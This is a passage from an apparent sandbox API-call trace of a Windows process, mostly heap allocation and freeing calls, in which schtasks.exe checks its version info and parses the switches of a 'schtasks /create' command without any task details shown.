| out: hHeap=0x240000) returned 1 [0068.383] GetProcessHeap () returned 0x240000 [0068.383] GetProcessHeap () returned 0x240000 [0068.383] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d2b0) returned 1 [0068.383] GetProcessHeap () returned 0x240000 [0068.384] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d2b0) returned 0x10 [0068.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d2b0 | out: hHeap=0x240000) returned 1 [0068.384] GetProcessHeap () returned 0x240000 [0068.384] GetProcessHeap () returned 0x240000 [0068.384] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc80) returned 1 [0068.384] GetProcessHeap () returned 0x240000 [0068.384] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dc80) returned 0x20 [0068.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc80 | out: hHeap=0x240000) returned 1 [0068.384] GetProcessHeap () returned 0x240000 [0068.384] GetProcessHeap () returned 0x240000 [0068.384] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d2d0) returned 1 [0068.384] GetProcessHeap () returned 0x240000 [0068.384] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d2d0) returned 0x8 [0068.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d2d0 | out: hHeap=0x240000) returned 1 [0068.384] GetProcessHeap () returned 0x240000 [0068.384] GetProcessHeap () returned 0x240000 [0068.384] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dcb0) returned 1 [0068.384] GetProcessHeap () returned 0x240000 [0068.384] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dcb0) returned 0x20 [0068.385] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dcb0 | out: hHeap=0x240000) returned 1 [0068.385] GetProcessHeap () returned 0x240000 [0068.385] GetProcessHeap () returned 0x240000 [0068.385] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257bf0) returned 1 [0068.385] GetProcessHeap () returned 0x240000 [0068.385] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257bf0) returned 0x34 [0068.385] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257bf0 | out: hHeap=0x240000) returned 1 [0068.385] GetProcessHeap () returned 0x240000 [0068.385] GetProcessHeap () returned 0x240000 [0068.385] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dce0) returned 1 [0068.385] GetProcessHeap () returned 0x240000 [0068.385] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dce0) returned 0x20 [0068.386] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dce0 | out: hHeap=0x240000) returned 1 [0068.386] GetProcessHeap () returned 0x240000 [0068.386] GetProcessHeap () returned 0x240000 [0068.386] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ecb0) returned 1 [0068.386] GetProcessHeap () returned 0x240000 [0068.386] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ecb0) returned 0x8 [0068.386] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ecb0 | out: hHeap=0x240000) returned 1 [0068.386] GetProcessHeap () returned 0x240000 [0068.386] GetProcessHeap () returned 0x240000 [0068.386] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd10) returned 1 [0068.386] GetProcessHeap () returned 0x240000 [0068.386] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dd10) returned 0x20 [0068.387] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd10 | out: hHeap=0x240000) returned 1 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e500) returned 1 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e500) returned 0x10 [0068.387] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e500 | out: hHeap=0x240000) returned 1 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd40) returned 1 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dd40) returned 0x20 [0068.387] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd40 | out: hHeap=0x240000) returned 1 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ecd0) returned 1 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ecd0) returned 0x6 [0068.387] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ecd0 | out: hHeap=0x240000) returned 1 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd70) returned 1 [0068.387] GetProcessHeap () returned 0x240000 [0068.387] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dd70) returned 0x20 [0068.388] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd70 | out: hHeap=0x240000) returned 1 [0068.388] GetProcessHeap () returned 0x240000 [0068.388] GetProcessHeap () returned 0x240000 [0068.388] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10) returned 1 [0068.388] GetProcessHeap () returned 0x240000 [0068.388] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x18 [0068.388] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0068.388] SetLastError (dwErrCode=0x0) [0068.388] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0068.388] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0068.388] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0068.388] VerifyVersionInfoW (in: lpVersionInformation=0x19c050, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19c050) returned 1 [0068.388] SetLastError (dwErrCode=0x0) [0068.388] lstrlenW (lpString="create") returned 6 [0068.389] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0068.389] SetLastError (dwErrCode=0x490) [0068.389] SetLastError (dwErrCode=0x0) [0068.389] lstrlenW (lpString="create") returned 6 [0068.389] GetProcessHeap () returned 0x240000 [0068.389] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dd70 [0068.389] GetProcessHeap () returned 0x240000 [0068.389] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25e500 [0068.389] _memicmp (_Buf1=0x25e500, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.389] GetProcessHeap () returned 0x240000 [0068.389] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25e520 [0068.389] SetLastError (dwErrCode=0x0) [0068.389] _memicmp (_Buf1=0x25cbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.389] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25cbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0068.389] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0068.389] GetProcessHeap () returned 0x240000 [0068.389] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x74e) returned 0x25ecb0 [0068.390] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x25ecb0 | out: lpData=0x25ecb0) returned 1 [0068.390] VerQueryValueW (in: pBlock=0x25ecb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19c138, puLen=0x19c1a0 | out: lplpBuffer=0x19c138*=0x25f04c, puLen=0x19c1a0) returned 1 [0068.390] _memicmp (_Buf1=0x25cbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.390] _vsnwprintf (in: _Buffer=0x25cbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19c118 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0068.390] VerQueryValueW (in: pBlock=0x25ecb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19c1a8, puLen=0x19c198 | out: lplpBuffer=0x19c1a8*=0x25ee78, puLen=0x19c198) returned 1 [0068.390] lstrlenW (lpString="schtasks.exe") returned 12 [0068.390] lstrlenW (lpString="schtasks.exe") returned 12 [0068.390] lstrlenW (lpString=".EXE") returned 4 [0068.390] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0068.390] lstrlenW (lpString="schtasks.exe") returned 12 [0068.390] lstrlenW (lpString=".EXE") returned 4 [0068.390] lstrlenW (lpString="schtasks") returned 8 [0068.390] lstrlenW (lpString="/create") returned 7 [0068.390] _memicmp (_Buf1=0x25cbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.390] _vsnwprintf (in: _Buffer=0x25cbd0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x19c118 | out: _Buffer="schtasks /create") returned 16 [0068.390] _memicmp (_Buf1=0x25cfd0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.390] GetProcessHeap () returned 0x240000 [0068.390] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dd40 [0068.390] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.390] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0068.390] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0068.390] GetProcessHeap () returned 0x240000 [0068.390] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x30) returned 0x257bf0 [0068.391] _vsnwprintf (in: _Buffer=0x25cff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19c118 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0068.391] GetProcessHeap () returned 0x240000 [0068.391] GetProcessHeap () returned 0x240000 [0068.391] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ecb0) returned 1 [0068.391] GetProcessHeap () returned 0x240000 [0068.391] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ecb0) returned 0x74e [0068.391] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ecb0 | out: hHeap=0x240000) returned 1 [0068.391] SetLastError (dwErrCode=0x0) [0068.391] GetThreadLocale () returned 0x409 [0068.391] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.391] lstrlenW (lpString="create") returned 6 [0068.391] GetThreadLocale () returned 0x409 [0068.391] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.391] lstrlenW (lpString="?") returned 1 [0068.391] GetThreadLocale () returned 0x409 [0068.391] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.391] lstrlenW (lpString="s") returned 1 [0068.391] GetThreadLocale () returned 0x409 [0068.391] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.391] lstrlenW (lpString="u") returned 1 [0068.391] GetThreadLocale () returned 0x409 [0068.391] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.391] lstrlenW (lpString="p") returned 1 [0068.391] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="ru") returned 2 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="rp") returned 2 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="sc") returned 2 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="mo") returned 2 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="d") returned 1 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="m") returned 1 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="i") returned 1 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="tn") returned 2 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="tr") returned 2 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="st") returned 2 [0068.392] GetThreadLocale () returned 0x409 [0068.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.392] lstrlenW (lpString="sd") returned 2 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="ed") returned 2 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="it") returned 2 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="et") returned 2 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="k") returned 1 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="du") returned 2 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="ri") returned 2 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="z") returned 1 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="f") returned 1 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="v1") returned 2 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.393] lstrlenW (lpString="xml") returned 3 [0068.393] GetThreadLocale () returned 0x409 [0068.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.394] lstrlenW (lpString="ec") returned 2 [0068.394] GetThreadLocale () returned 0x409 [0068.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.394] lstrlenW (lpString="rl") returned 2 [0068.394] GetThreadLocale () returned 0x409 [0068.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.394] lstrlenW (lpString="delay") returned 5 [0068.394] GetThreadLocale () returned 0x409 [0068.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0068.394] lstrlenW (lpString="np") returned 2 [0068.394] SetLastError (dwErrCode=0x0) [0068.394] SetLastError (dwErrCode=0x0) [0068.394] lstrlenW (lpString="/create") returned 7 [0068.394] lstrlenW (lpString="-/") returned 2 [0068.394] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.394] lstrlenW (lpString="create") returned 6 [0068.394] lstrlenW (lpString="create") returned 6 [0068.394] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.394] lstrlenW (lpString="create") returned 6 [0068.394] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.394] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|create|") returned 8 [0068.394] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|create|") returned 8 [0068.394] lstrlenW (lpString="|create|") returned 8 [0068.394] lstrlenW (lpString="|create|") returned 8 [0068.394] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0068.394] SetLastError (dwErrCode=0x0) [0068.395] SetLastError (dwErrCode=0x0) [0068.395] SetLastError (dwErrCode=0x0) [0068.395] lstrlenW (lpString="/tn") returned 3 [0068.395] lstrlenW (lpString="-/") returned 2 [0068.395] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0068.395] lstrlenW (lpString="create") returned 6 [0068.395] lstrlenW (lpString="create") returned 6 [0068.395] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.395] lstrlenW (lpString="tn") returned 2 [0068.395] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.395] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|create|") returned 8 [0068.395] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.395] lstrlenW (lpString="|create|") returned 8 [0068.395] lstrlenW (lpString="|tn|") returned 4 [0068.395] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0068.395] SetLastError (dwErrCode=0x490) [0068.395] lstrlenW (lpString="?") returned 1 [0068.395] lstrlenW (lpString="?") returned 1 [0068.395] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.395] lstrlenW (lpString="tn") returned 2 [0068.395] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.395] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|?|") returned 3 [0068.395] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.395] lstrlenW (lpString="|?|") returned 3 [0068.395] lstrlenW (lpString="|tn|") returned 4 [0068.395] SetLastError (dwErrCode=0x490) [0068.395] lstrlenW (lpString="s") returned 1 [0068.395] lstrlenW (lpString="s") returned 1 [0068.395] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.395] lstrlenW (lpString="tn") returned 2 [0068.395] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.396] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|s|") returned 3 [0068.396] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.396] lstrlenW (lpString="|s|") returned 3 [0068.396] lstrlenW (lpString="|tn|") returned 4 [0068.396] SetLastError (dwErrCode=0x490) [0068.396] lstrlenW (lpString="u") returned 1 [0068.396] lstrlenW (lpString="u") returned 1 [0068.396] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.396] lstrlenW (lpString="tn") returned 2 [0068.396] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.396] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|u|") returned 3 [0068.396] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.396] lstrlenW (lpString="|u|") returned 3 [0068.396] lstrlenW (lpString="|tn|") returned 4 [0068.396] SetLastError (dwErrCode=0x490) [0068.396] lstrlenW (lpString="p") returned 1 [0068.396] lstrlenW (lpString="p") returned 1 [0068.396] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.396] lstrlenW (lpString="tn") returned 2 [0068.396] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.396] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|p|") returned 3 [0068.396] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.396] lstrlenW (lpString="|p|") returned 3 [0068.396] lstrlenW (lpString="|tn|") returned 4 [0068.396] SetLastError (dwErrCode=0x490) [0068.396] lstrlenW (lpString="ru") returned 2 [0068.396] lstrlenW (lpString="ru") returned 2 [0068.396] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.397] lstrlenW (lpString="tn") returned 2 [0068.397] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.397] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ru|") returned 4 [0068.397] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.397] lstrlenW (lpString="|ru|") returned 4 [0068.397] lstrlenW (lpString="|tn|") returned 4 [0068.397] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0068.397] SetLastError (dwErrCode=0x490) [0068.397] lstrlenW (lpString="rp") returned 2 [0068.397] lstrlenW (lpString="rp") returned 2 [0068.397] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.397] lstrlenW (lpString="tn") returned 2 [0068.397] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.397] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rp|") returned 4 [0068.397] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.397] lstrlenW (lpString="|rp|") returned 4 [0068.397] lstrlenW (lpString="|tn|") returned 4 [0068.397] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0068.397] SetLastError (dwErrCode=0x490) [0068.397] lstrlenW (lpString="sc") returned 2 [0068.397] lstrlenW (lpString="sc") returned 2 [0068.397] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.397] lstrlenW (lpString="tn") returned 2 [0068.397] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.397] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.397] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.397] lstrlenW (lpString="|sc|") returned 4 [0068.397] lstrlenW (lpString="|tn|") returned 4 [0068.397] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0068.398] SetLastError (dwErrCode=0x490) [0068.398] lstrlenW (lpString="mo") returned 2 [0068.398] lstrlenW (lpString="mo") returned 2 [0068.398] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.398] lstrlenW (lpString="tn") returned 2 [0068.398] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.398] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|mo|") returned 4 [0068.398] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.398] lstrlenW (lpString="|mo|") returned 4 [0068.398] lstrlenW (lpString="|tn|") returned 4 [0068.398] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0068.398] SetLastError (dwErrCode=0x490) [0068.398] lstrlenW (lpString="d") returned 1 [0068.398] lstrlenW (lpString="d") returned 1 [0068.398] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.398] lstrlenW (lpString="tn") returned 2 [0068.398] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.398] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|d|") returned 3 [0068.398] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.398] lstrlenW (lpString="|d|") returned 3 [0068.398] lstrlenW (lpString="|tn|") returned 4 [0068.398] SetLastError (dwErrCode=0x490) [0068.399] lstrlenW (lpString="m") returned 1 [0068.399] lstrlenW (lpString="m") returned 1 [0068.399] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.399] lstrlenW (lpString="tn") returned 2 [0068.399] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.399] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | 